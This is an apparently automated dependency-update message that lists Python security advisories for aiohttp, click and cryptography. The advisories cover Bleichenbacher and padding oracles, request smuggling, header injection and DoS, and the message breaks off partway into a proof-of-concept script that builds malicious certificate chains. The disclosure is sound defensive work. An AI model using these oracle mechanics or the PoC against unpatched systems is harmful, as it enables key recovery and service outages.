Updated constraints due security reasons (triggered on 2026-08-24T12:58:35+00:00 by c905a20fad2737606db6cc5cbdcd90c1f655595a)

[github-actions]

Fixed dependency issues for Python 3.10

Name	Version	ID	Fix Versions	Description
cryptography	49.0.0	PYSEC-2026-3552	50.0.0	### Summary pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the outcome of decrypting a RecipientInfo's encryptedKey in several distinguishable ways, one of which disclosed the exact length recovered from the RSA operation. The same distinction was also observable by timing. An application that decrypts attacker-supplied EnvelopedData and reflects the outcome gives the attacker a Bleichenbacher oracle against the content-encryption key. Introduced in 44.0.0. Fixed in 50.0.0. ### Details Decryption ran as: RSA PKCS#1 v1.5 decrypt of encryptedKey → build an AES cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed differently, with no RFC 3218 mitigation: 1. invalid RSA padding → Decryption failed 2. valid padding, bad key length → Invalid key size (N) for AES., disclosing N 3. correct length, wrong key → Invalid padding bytes. 4. the real key → plaintext Case 1 is reachable only where the linked library lacks implicit rejection: OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels, invalid padding instead returns a synthetic plaintext of pseudorandom length, so the error channel does not distinguish conforming ciphertexts. Exploitation requires a service that auto-decrypts untrusted EnvelopedData matching the victim certificate and answers adaptively at high volume, such as an S/MIME gateway or mail filter. ### Fix Per RFC 3218, the content-encryption algorithm is now resolved before the private key is used, so the expected key length is known in advance. If the RSA decryption fails or recovers a key of the wrong length, a random key of the expected length is substituted and decryption continues down an identical path. All failures now report identically and perform the same work. ### Not addressed by this fix EnvelopedData does not authenticate its content. Tampering with encryptedContent alone yields a CBC padding oracle that recovers plaintext at roughly 256 queries per byte, without recovering any key, on every backend. This is a property of PKCS#7 rather than of this implementation, cannot be fixed in the library, and is now documented. ### Credit Reported by @X1AOxiang.

Fixed dependency issues for Python 3.11

Name	Version	ID	Fix Versions	Description
cryptography	49.0.0	PYSEC-2026-3552	50.0.0	### Summary pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the outcome of decrypting a RecipientInfo's encryptedKey in several distinguishable ways, one of which disclosed the exact length recovered from the RSA operation. The same distinction was also observable by timing. An application that decrypts attacker-supplied EnvelopedData and reflects the outcome gives the attacker a Bleichenbacher oracle against the content-encryption key. Introduced in 44.0.0. Fixed in 50.0.0. ### Details Decryption ran as: RSA PKCS#1 v1.5 decrypt of encryptedKey → build an AES cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed differently, with no RFC 3218 mitigation: 1. invalid RSA padding → Decryption failed 2. valid padding, bad key length → Invalid key size (N) for AES., disclosing N 3. correct length, wrong key → Invalid padding bytes. 4. the real key → plaintext Case 1 is reachable only where the linked library lacks implicit rejection: OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels, invalid padding instead returns a synthetic plaintext of pseudorandom length, so the error channel does not distinguish conforming ciphertexts. Exploitation requires a service that auto-decrypts untrusted EnvelopedData matching the victim certificate and answers adaptively at high volume, such as an S/MIME gateway or mail filter. ### Fix Per RFC 3218, the content-encryption algorithm is now resolved before the private key is used, so the expected key length is known in advance. If the RSA decryption fails or recovers a key of the wrong length, a random key of the expected length is substituted and decryption continues down an identical path. All failures now report identically and perform the same work. ### Not addressed by this fix EnvelopedData does not authenticate its content. Tampering with encryptedContent alone yields a CBC padding oracle that recovers plaintext at roughly 256 queries per byte, without recovering any key, on every backend. This is a property of PKCS#7 rather than of this implementation, cannot be fixed in the library, and is now documented. ### Credit Reported by @X1AOxiang.

Fixed dependency issues for Python 3.12

Name	Version	ID	Fix Versions	Description
cryptography	49.0.0	PYSEC-2026-3552	50.0.0	### Summary pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the outcome of decrypting a RecipientInfo's encryptedKey in several distinguishable ways, one of which disclosed the exact length recovered from the RSA operation. The same distinction was also observable by timing. An application that decrypts attacker-supplied EnvelopedData and reflects the outcome gives the attacker a Bleichenbacher oracle against the content-encryption key. Introduced in 44.0.0. Fixed in 50.0.0. ### Details Decryption ran as: RSA PKCS#1 v1.5 decrypt of encryptedKey → build an AES cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed differently, with no RFC 3218 mitigation: 1. invalid RSA padding → Decryption failed 2. valid padding, bad key length → Invalid key size (N) for AES., disclosing N 3. correct length, wrong key → Invalid padding bytes. 4. the real key → plaintext Case 1 is reachable only where the linked library lacks implicit rejection: OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels, invalid padding instead returns a synthetic plaintext of pseudorandom length, so the error channel does not distinguish conforming ciphertexts. Exploitation requires a service that auto-decrypts untrusted EnvelopedData matching the victim certificate and answers adaptively at high volume, such as an S/MIME gateway or mail filter. ### Fix Per RFC 3218, the content-encryption algorithm is now resolved before the private key is used, so the expected key length is known in advance. If the RSA decryption fails or recovers a key of the wrong length, a random key of the expected length is substituted and decryption continues down an identical path. All failures now report identically and perform the same work. ### Not addressed by this fix EnvelopedData does not authenticate its content. Tampering with encryptedContent alone yields a CBC padding oracle that recovers plaintext at roughly 256 queries per byte, without recovering any key, on every backend. This is a property of PKCS#7 rather than of this implementation, cannot be fixed in the library, and is now documented. ### Credit Reported by @X1AOxiang.

Fixed dependency issues for Python 3.13

Name	Version	ID	Fix Versions	Description
cryptography	49.0.0	PYSEC-2026-3552	50.0.0	### Summary pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the outcome of decrypting a RecipientInfo's encryptedKey in several distinguishable ways, one of which disclosed the exact length recovered from the RSA operation. The same distinction was also observable by timing. An application that decrypts attacker-supplied EnvelopedData and reflects the outcome gives the attacker a Bleichenbacher oracle against the content-encryption key. Introduced in 44.0.0. Fixed in 50.0.0. ### Details Decryption ran as: RSA PKCS#1 v1.5 decrypt of encryptedKey → build an AES cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed differently, with no RFC 3218 mitigation: 1. invalid RSA padding → Decryption failed 2. valid padding, bad key length → Invalid key size (N) for AES., disclosing N 3. correct length, wrong key → Invalid padding bytes. 4. the real key → plaintext Case 1 is reachable only where the linked library lacks implicit rejection: OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels, invalid padding instead returns a synthetic plaintext of pseudorandom length, so the error channel does not distinguish conforming ciphertexts. Exploitation requires a service that auto-decrypts untrusted EnvelopedData matching the victim certificate and answers adaptively at high volume, such as an S/MIME gateway or mail filter. ### Fix Per RFC 3218, the content-encryption algorithm is now resolved before the private key is used, so the expected key length is known in advance. If the RSA decryption fails or recovers a key of the wrong length, a random key of the expected length is substituted and decryption continues down an identical path. All failures now report identically and perform the same work. ### Not addressed by this fix EnvelopedData does not authenticate its content. Tampering with encryptedContent alone yields a CBC padding oracle that recovers plaintext at roughly 256 queries per byte, without recovering any key, on every backend. This is a property of PKCS#7 rather than of this implementation, cannot be fixed in the library, and is now documented. ### Credit Reported by @X1AOxiang.

Fixed dependency issues for Python 3.14

Name	Version	ID	Fix Versions	Description
aiohttp	3.14.2	PYSEC-2026-3545	3.14.3	### Summary An out-of-bounds heap read could occur in the C response parser while building an error message for a malformed response. ### Impact An attacker controlled server, or possibly an accidental response could trigger a DoS in the client. ### Workaround If unable to upgrade, the Python parser is unaffected and can be used with AIOHTTP_NO_EXTENSIONS=1. --- Patch: aio-libs/aiohttp@49f65d5
cryptography	49.0.0	PYSEC-2026-3552	50.0.0	### Summary pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the outcome of decrypting a RecipientInfo's encryptedKey in several distinguishable ways, one of which disclosed the exact length recovered from the RSA operation. The same distinction was also observable by timing. An application that decrypts attacker-supplied EnvelopedData and reflects the outcome gives the attacker a Bleichenbacher oracle against the content-encryption key. Introduced in 44.0.0. Fixed in 50.0.0. ### Details Decryption ran as: RSA PKCS#1 v1.5 decrypt of encryptedKey → build an AES cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed differently, with no RFC 3218 mitigation: 1. invalid RSA padding → Decryption failed 2. valid padding, bad key length → Invalid key size (N) for AES., disclosing N 3. correct length, wrong key → Invalid padding bytes. 4. the real key → plaintext Case 1 is reachable only where the linked library lacks implicit rejection: OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels, invalid padding instead returns a synthetic plaintext of pseudorandom length, so the error channel does not distinguish conforming ciphertexts. Exploitation requires a service that auto-decrypts untrusted EnvelopedData matching the victim certificate and answers adaptively at high volume, such as an S/MIME gateway or mail filter. ### Fix Per RFC 3218, the content-encryption algorithm is now resolved before the private key is used, so the expected key length is known in advance. If the RSA decryption fails or recovers a key of the wrong length, a random key of the expected length is substituted and decryption continues down an identical path. All failures now report identically and perform the same work. ### Not addressed by this fix EnvelopedData does not authenticate its content. Tampering with encryptedContent alone yields a CBC padding oracle that recovers plaintext at roughly 256 queries per byte, without recovering any key, on every backend. This is a property of PKCS#7 rather than of this implementation, cannot be fixed in the library, and is now documented. ### Credit Reported by @X1AOxiang.

Dependency issues not solved for Python 3.7

Name	Version	ID	Fix Versions	Description
aiohttp	3.8.6	PYSEC-2024-24	3.9.2	aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue.
aiohttp	3.8.6	PYSEC-2023-250	3.9.0	aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. Improper validation made it possible for an attacker to modify the HTTP request (e.g. to insert a new header) or create a new HTTP request if the attacker controls the HTTP version. The vulnerability only occurs if the attacker can control the HTTP version of the request. This issue has been patched in version 3.9.0.
aiohttp	3.8.6	PYSEC-2023-251	3.9.0	aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. Improper validation makes it possible for an attacker to modify the HTTP request (e.g. insert a new header) or even create a new HTTP request if the attacker controls the HTTP method. The vulnerability occurs only if the attacker can control the HTTP method (GET, POST etc.) of the request. If the attacker can control the HTTP version of the request it will be able to modify the request (request smuggling). This issue has been patched in version 3.9.0.
aiohttp	3.8.6	PYSEC-2024-26	3.9.2	aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. Security-sensitive parts of the Python HTTP parser retained minor differences in allowable character sets, that must trigger error handling to robustly match frame boundaries of proxies in order to protect against injection of additional requests. Additionally, validation could trigger exceptions that were not handled consistently with processing of other malformed input. Being more lenient than internet standards require could, depending on deployment environment, assist in request smuggling. The unhandled exception could cause excessive resource consumption on the application server and/or its logging facilities. This vulnerability exists due to an incomplete fix for CVE-2023-47627. Version 3.9.2 fixes this vulnerability.
aiohttp	3.8.6	PYSEC-2026-1100	3.13.3	### Summary A request can be crafted in such a way that an aiohttp server's memory fills up uncontrollably during processing. ### Impact If an application includes a handler that uses the Request.post() method, an attacker may be able to freeze the server by exhausting the memory. ----- Patch: aio-libs/aiohttp@b7dbd35
aiohttp	3.8.6	PYSEC-2026-1101	3.13.3	### Summary A zip bomb can be used to execute a DoS against the aiohttp server. ### Impact An attacker may be able to send a compressed request that when decompressed by aiohttp could exhaust the host's memory. ------ Patch: aio-libs/aiohttp@2b920c3
aiohttp	3.8.6	PYSEC-2026-1098	3.9.4	### Summary An attacker can send a specially crafted POST (multipart/form-data) request. When the aiohttp server processes it, the server will enter an infinite loop and be unable to process any further requests. ### Impact An attacker can stop the application from serving requests after sending a single request. ------- For anyone needing to patch older versions of aiohttp, the minimum diff needed to resolve the issue is (located in _read_chunk_from_length()): diff diff --git a/aiohttp/multipart.py b/aiohttp/multipart.py index 227be605c..71fc2654a 100644 --- a/aiohttp/multipart.py +++ b/aiohttp/multipart.py @@ -338,6 +338,8 @@ class BodyPartReader: assert self._length is not None, "Content-Length required for chunked read" chunk_size = min(size, self._length - self._read_bytes) chunk = await self._content.read(chunk_size) + if self._content.at_eof(): + self._at_eof = True return chunk async def _read_chunk_from_stream(self, size: int) -> bytes: This does however introduce some very minor issues with handling form data. So, if possible, it would be recommended to also backport the changes in: aio-libs/aiohttp@cebe526 aio-libs/aiohttp@7eecdff aio-libs/aiohttp@f21c6f2
aiohttp	3.8.6	PYSEC-2026-1103	3.10.11	### Summary The Python parser parses newlines in chunk extensions incorrectly which can lead to request smuggling vulnerabilities under certain conditions. ### Impact If a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or AIOHTTP_NO_EXTENSIONS is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections. ----- Patch: aio-libs/aiohttp@259edc3
aiohttp	3.8.6	PYSEC-2026-1102	3.9.4	### Summary A XSS vulnerability exists on index pages for static file handling. ### Details When using web.static(..., show_index=True), the resulting index pages do not escape file names. If users can upload files with arbitrary filenames to the static directory, the server is vulnerable to XSS attacks. ### Workaround We have always recommended using a reverse proxy server (e.g. nginx) for serving static files. Users following the recommendation are unaffected. Other users can disable show_index if unable to upgrade. ----- Patch: https://github.com/aio-libs/aiohttp/pull/8319/files
aiohttp	3.8.6	PYSEC-2026-1104	3.12.14	### Summary The Python parser is vulnerable to a request smuggling vulnerability due to not parsing trailer sections of an HTTP request. ### Impact If a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or AIOHTTP_NO_EXTENSIONS is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections. ---- Patch: aio-libs/aiohttp@e8d774f
aiohttp	3.8.6	PYSEC-2026-1106	3.13.3	### Summary Handling of chunked messages can result in excessive blocking CPU usage when receiving a large number of chunks. ### Impact If an application makes use of the request.read() method in an endpoint, it may be possible for an attacker to cause the server to spend a moderate amount of blocking CPU time (e.g. 1 second) while processing the request. This could potentially lead to DoS as the server would be unable to handle other requests during that time. ----- Patch: aio-libs/aiohttp@dc3170b Patch: aio-libs/aiohttp@4ed97a4
aiohttp	3.8.6	PYSEC-2026-1107	3.13.3	### Summary When assert statements are bypassed, an infinite loop can occur, resulting in a DoS attack when processing a POST body. ### Impact If optimisations are enabled (-O or PYTHONOPTIMIZE=1), and the application includes a handler that uses the Request.post() method, then an attacker may be able to execute a DoS attack with a specially crafted message. ------ Patch: aio-libs/aiohttp@bc1319e
aiohttp	3.8.6	PYSEC-2026-1099	3.13.3	### Summary The Python HTTP parser may allow a request smuggling attack with the presence of non-ASCII characters. ### Impact If a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or AIOHTTP_NO_EXTENSIONS is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections. ------ Patch: aio-libs/aiohttp@32677f2
aiohttp	3.8.6	PYSEC-2026-1105	3.13.3	### Summary Reading multiple invalid cookies can lead to a logging storm. ### Impact If the cookies attribute is accessed in an application, then an attacker may be able to trigger a storm of warning-level logs using a specially crafted Cookie header. ---- Patch: aio-libs/aiohttp@64629a0
aiohttp	3.8.6	PYSEC-2026-237	3.14.1	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.1, the server_hostname TLS SNI check can be bypassed when an existing connection is reused. If an application makes multiple requests to the same domain, but with different per-request server_hostname parameters, then the later calls may succeed by reusing the existing connection when they should have been rejected due to the TLS SNI check. This vulnerability is fixed in 3.14.1.
aiohttp	3.8.6	PYSEC-2026-1109	3.13.3	### Summary The parser allows non-ASCII decimals to be present in the Range header. ### Impact There is no known impact, but there is the possibility that there's a method to exploit a request smuggling vulnerability. ---- Patch: aio-libs/aiohttp@c7b7a04
aiohttp	3.8.6	PYSEC-2026-1097	3.13.3	### Summary Path normalization for static files prevents path traversal, but opens up the ability for an attacker to ascertain the existence of absolute path components. ### Impact If an application uses web.static() (not recommended for production deployments), it may be possible for an attacker to ascertain the existence of path components. ------ Patch: aio-libs/aiohttp@f2a86fd
aiohttp	3.8.6	PYSEC-2026-2104	3.14.0	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.14.0, using CookieJar.load() with untrusted input may allow arbitrary code execution. Most applications using this function will be doing so with the user's own data, so this is unlikely to affect many applications. Version 3.14.0 patches the issue. If an application does allow attacker controlled files to be loaded, a workaround on older releases would be to sanitize the files before loading.
aiohttp	3.8.6	PYSEC-2026-2103	3.13.4	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.13.4, multiple Host headers were allowed in aiohttp. This issue has been patched in version 3.13.4.
aiohttp	3.8.6	PYSEC-2026-2112	3.14.1	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.1, host-only cookies that are saved with CookieJar.save() and then restored later with CookieJar.load() lose their host-only status. This vulnerability is fixed in 3.14.1.
aiohttp	3.8.6	PYSEC-2026-2111	3.14.1	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.1, during cleanup it is possible for a compressed request body to be decompressed into memory in one chunk. An attacker may be able to send a compressed payload in specific situations that could be decompressed into memory, potentially leading to DoS (a zip bomb edge case). This vulnerability is fixed in 3.14.1.
aiohttp	3.8.6	PYSEC-2026-2113	3.14.1	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.1, payload resources are not closed correctly when a client disconnects in the middle of a write. If a payload is using an open file or similar limited resource, then an attacker may be able to cause resource starvation temporarily until garbage collection or similar closes the file. This vulnerability is fixed in 3.14.1.
aiohttp	3.8.6	PYSEC-2026-2102	3.13.4	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.13.4, the C parser (the default for most installs) accepted null bytes and control characters in response headers. This issue has been patched in version 3.13.4.
aiohttp	3.8.6	PYSEC-2026-2110	3.14.1	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.1, it is possible to bypass the max_line_size check in parts of an HTTP request in the C parser. If using the optimised C parser (the default in pre-built wheels), then an attacker may be able to send oversized lines through the HTTP parser and use an excessive amount of memory, potentially leading to DoS. This vulnerability is fixed in 3.14.1.
aiohttp	3.8.6	PYSEC-2026-2109	3.14.1	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.1, DigestAuthMiddleware can send an authentication response after following a cross-origin redirect. This likely requires an open redirect vulnerability or similar on the target domain for an attacker to be able to execute. Further, the attacker is only receiving the digest, so should only be able to extract the user's credentials if the cryptography is weak or there is some kind of password reuse. This vulnerability is fixed in 3.14.1.
aiohttp	3.8.6	PYSEC-2026-2108	3.14.1	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.1, if an attacker sends large incomplete websocket frame payloads, it may be possible to bypass the usual size limits on memory use. This vulnerability is fixed in 3.14.1.
aiohttp	3.8.6	PYSEC-2026-2105	3.14.0	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.14.0, cookies set with the cookies parameter on requests are sent after following a cross-origin redirect. If a developer uses the cookies parameter on a per-request basis then sensitive data might be leaked to an attacker if they manage to control a redirect. Version 3.14.0 patches the issue. If unable to upgrade, using a Cookie header in the headers parameter is not vulnerable.
aiohttp	3.8.6	PYSEC-2026-2098	3.13.4	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.13.4, a response with an excessive number of multipart headers may be allowed to use more memory than intended, potentially allowing a DoS vulnerability. This issue has been patched in version 3.13.4.
aiohttp	3.8.6	PYSEC-2026-2096	3.13.4	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.13.4, an attacker who controls the content_type parameter in aiohttp could use this to inject extra headers or similar exploits. This issue has been patched in version 3.13.4.
aiohttp	3.8.6	PYSEC-2026-2101	3.13.4	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.13.4, an attacker who controls the reason parameter when creating a Response may be able to inject extra headers or similar exploits. This issue has been patched in version 3.13.4.
aiohttp	3.8.6	PYSEC-2026-2095	3.13.4	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.13.4, an unbounded DNS cache could result in excessive memory usage possibly resulting in a DoS situation. This issue has been patched in version 3.13.4.
aiohttp	3.8.6	PYSEC-2026-2106	3.14.0	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.0, attacker-controlled input included into multipart/payload headers can be used to modify a request to inject additional headers or similar. In the unlikely situation that an application is passing user-controlled strings into MultipartWriter.append(headers=...) or Payload.headers, then an attacker may be able to modify the request to inject headers or change the contents of the request. This vulnerability is fixed in 3.14.0.
aiohttp	3.8.6	PYSEC-2026-2100	3.13.4	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.13.4, when following redirects to a different origin, aiohttp drops the Authorization header, but retains the Cookie and Proxy-Authorization headers. This issue has been patched in version 3.13.4.
aiohttp	3.8.6	PYSEC-2026-2097	3.13.4	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.13.4, on Windows the static resource handler may expose information about a NTLMv2 remote path. This issue has been patched in version 3.13.4.
aiohttp	3.8.6	PYSEC-2026-2107	3.14.1	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.1, no limit was present on the number of pipelined requests that could be queued. An attacker may be able to use pipelined requests to use excessive amounts of memory, potentially leading to DoS. This vulnerability is fixed in 3.14.1.
aiohttp	3.8.6	PYSEC-2026-2099	3.13.4	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.13.4, for some multipart form fields, aiohttp read the entire field into memory before checking client_max_size. This issue has been patched in version 3.13.4.
aiohttp	3.8.6	PYSEC-2026-2094	3.13.4	AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.13.4, insufficient restrictions in header/trailer handling could cause uncapped memory usage. This issue has been patched in version 3.13.4.
aiohttp	3.8.6	PYSEC-2026-3545	3.14.3	### Summary An out-of-bounds heap read could occur in the C response parser while building an error message for a malformed response. ### Impact An attacker controlled server, or possibly an accidental response could trigger a DoS in the client. ### Workaround If unable to upgrade, the Python parser is unaffected and can be used with AIOHTTP_NO_EXTENSIONS=1. --- Patch: aio-libs/aiohttp@49f65d5
aiohttp	3.8.6	PYSEC-2026-3546	3.14.2	### Summary The HTTP parsers were vulnerable to a request smuggling attack relating to WebSocket upgrades. ### Impact If using the server-side component, it may be possible for an attacker to execute a request smuggling vulnerability using an edge case in the WebSocket upgrade procedure. AIOHTT is unaware of any public exploit code. --- Patch: aio-libs/aiohttp@6ae358f
aiohttp	3.8.6	PYSEC-2026-3547	3.14.2	### Summary The client accepts and decompresses frames with the RSV1 bit set even when the permessage-deflate extension was not negotiated. ### Impact A client may unexpectedly decompress WebSocket frames when explicitly opted out. This could lead to additional CPU/memory consumption, but is unlikely to be a significant issue unless a zip bomb vulnerability or similar is also present. --- Patch: aio-libs/aiohttp@47fb6ae
click	8.1.8	PYSEC-2026-2132	8.3.3	Pallets Click, versions 8.3.2 and below, contain a command injection vulnerability in the click.edit() function, allowing attackers to pass arbitrary OS commands from an unprivileged account.
cryptography	45.0.7	PYSEC-2026-36	46.0.7	cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. From 45.0.0 to before 46.0.7, if a non-contiguous buffer was passed to APIs which accepted Python buffers (e.g. Hash.update()), this could lead to buffer overflows. This vulnerability is fixed in 46.0.7.
cryptography	45.0.7	PYSEC-2026-35	46.0.6	cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.
cryptography	45.0.7	PYSEC-2026-2141	46.0.5	cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to 46.0.5, the public_key_from_numbers (or EllipticCurvePublicNumbers.public_key()), EllipticCurvePublicNumbers.public_key(), load_der_public_key() and load_pem_public_key() functions do not verify that the point belongs to the expected prime-order subgroup of the curve. This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victim_private_key]P via ECDH, this leaks information about victim_private_key mod (small_subgroup_order). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup. Only SECT curves are impacted by this. This vulnerability is fixed in 46.0.5.
cryptography	45.0.7	PYSEC-2026-3552	50.0.0	### Summary pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the outcome of decrypting a RecipientInfo's encryptedKey in several distinguishable ways, one of which disclosed the exact length recovered from the RSA operation. The same distinction was also observable by timing. An application that decrypts attacker-supplied EnvelopedData and reflects the outcome gives the attacker a Bleichenbacher oracle against the content-encryption key. Introduced in 44.0.0. Fixed in 50.0.0. ### Details Decryption ran as: RSA PKCS#1 v1.5 decrypt of encryptedKey → build an AES cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed differently, with no RFC 3218 mitigation: 1. invalid RSA padding → Decryption failed 2. valid padding, bad key length → Invalid key size (N) for AES., disclosing N 3. correct length, wrong key → Invalid padding bytes. 4. the real key → plaintext Case 1 is reachable only where the linked library lacks implicit rejection: OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels, invalid padding instead returns a synthetic plaintext of pseudorandom length, so the error channel does not distinguish conforming ciphertexts. Exploitation requires a service that auto-decrypts untrusted EnvelopedData matching the victim certificate and answers adaptively at high volume, such as an S/MIME gateway or mail filter. ### Fix Per RFC 3218, the content-encryption algorithm is now resolved before the private key is used, so the expected key length is known in advance. If the RSA decryption fails or recovers a key of the wrong length, a random key of the expected length is substituted and decryption continues down an identical path. All failures now report identically and perform the same work. ### Not addressed by this fix EnvelopedData does not authenticate its content. Tampering with encryptedContent alone yields a CBC padding oracle that recovers plaintext at roughly 256 queries per byte, without recovering any key, on every backend. This is a property of PKCS#7 rather than of this implementation, cannot be fixed in the library, and is now documented. ### Credit Reported by @X1AOxiang.
cryptography	45.0.7	PYSEC-2026-3553	49.0.0	### Summary When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission. ### Details The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. python fn build_chain_inner( &self, working_cert: &VerificationCertificate<'chain, B>, current_depth: u8, working_cert_extensions: &Extensions<'chain>, name_chain: NameChain<'_, 'chain>, budget: &mut Budget, ) -> ValidationResult<'chain, Chain<'chain, B>, B> { if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) { name_chain.evaluate_constraints(&nc.value()?, budget)?; } // Look in the store's root set to see if the working cert is listed. // If it is, we've reached the end. if self.store.contains(working_cert) { return Ok(vec![working_cert.clone()]); } // Check that our current depth does not exceed our policy-configured // max depth. We do this after the root set check, since the depth // only measures the intermediate chain's length, not the root or leaf. if current_depth > self.policy.max_chain_depth { return Err(ValidationError::new(ValidationErrorKind::Other( "chain construction exceeds max depth".into(), ))); } // Otherwise, we collect a list of potential issuers for this cert, // and continue with the first that verifies. let mut last_err: Option<ValidationError<'_, B>> = None; for issuing_cert_candidate in self.potential_issuers(working_cert) { // A candidate issuer is said to verify if it both // signs for the working certificate and conforms to the // policy. let issuer_extensions = issuing_cert_candidate.certificate().extensions()?; match self.policy.valid_issuer( issuing_cert_candidate, working_cert, current_depth, &issuer_extensions, ) { Ok(_) => { match self.build_chain_inner( A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run. rust let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new(); for issuing_cert_candidate in self.potential_issuers(working_cert) { . . . Ok(_) => { if seen_valid_issuers.contains(&issuing_cert_candidate) { continue; } seen_valid_issuers.push(issuing_cert_candidate); match self.build_chain_inner( issuing_cert_candidate, // NOTE(ww): According to RFC 5280, we should only In testing, this fix removed the exponential blowup without breaking apparent correctness. duplicates,max_depth,result,seconds 1,7,rejected,0.000464 -> 1,7,rejected,0.000667 2,7,rejected,0.025154 -> 2,7,rejected,0.001229 3,7,rejected,0.489924 -> 3,7,rejected,0.001619 4,7,rejected,4.309403 -> 4,7,rejected,0.002144 3,8,rejected,1.468193 -> 3,8,rejected,0.001811 4,8,timeout>5s, -> 4,8,rejected,0.002410 5,7,timeout>5s, -> 5,7,rejected,0.002640 6,6,timeout>5s, -> 6,6,rejected,0.002829 ### PoC The following script benchmarks processing times for malicious cert chains. python import datetime import multiprocessing import time import cryptography from cryptography import x509 from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID from cryptography.x509.verification import ( DNSName, PolicyBuilder, Store, VerificationError, ) NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc) TIMEOUT = 5 CA_KEY_USAGE = x509.KeyUsage( digital_signature=True, content_commitment=False, key_encipherment=False, data_encipherment=False, key_agreement=False, 